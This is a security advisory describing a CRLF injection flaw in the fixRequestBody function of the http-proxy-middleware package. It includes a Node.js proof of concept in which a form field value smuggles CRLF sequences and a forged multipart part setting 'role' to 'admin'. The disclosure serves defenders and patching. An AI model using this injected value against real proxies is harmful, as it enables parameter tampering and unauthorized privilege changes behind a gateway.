CRLF Injection Affecting http-proxy-middleware package, versions >=3.0.4 <3.0.7>=4.0.0 <4.1.1

Affected versions of this package are vulnerable to CRLF Injection via the fixRequestBody function. An attacker can inject or override multipart form fields, potentially bypassing gateway-side validation or access controls, by supplying crafted input containing carriage return and line feed characters in field names or values. This can result in the backend receiving manipulated parameters not visible to the gateway, enabling unauthorized actions or parameter tampering.

Note:

This is only exploitable if the proxy application uses a non-multipart parser to populate the request body, the outgoing request is sent as multipart/form-data, and the application calls fixRequestBody with attacker-controlled input.

// npm i http-proxy-middleware@4.0.0   (Node ESM: save as minimal.mjs)
import { fixRequestBody } from 'http-proxy-middleware';

// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.
// The attacker sent  user=alice%0D%0A--BB%0D%0A...  so this ONE field's value holds CRLF:
const req = { readableLength: 0, body: {
  user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--'
}};

// Minimal stand-in for the outgoing proxy request; capture what gets written.
const out = [];
const proxyReq = {
  h: { 'content-type': 'multipart/form-data; boundary=BB' },
  getHeader(n){ return this.h[n.toLowerCase()]; },
  setHeader(n,v){ this.h[n.toLowerCase()] = v; },
  write(d){ out.push(Buffer.from(d)); },
};

fixRequestBody(proxyReq, req);          // library rebuilds the multipart body
console.log(Buffer.concat(out).toString());

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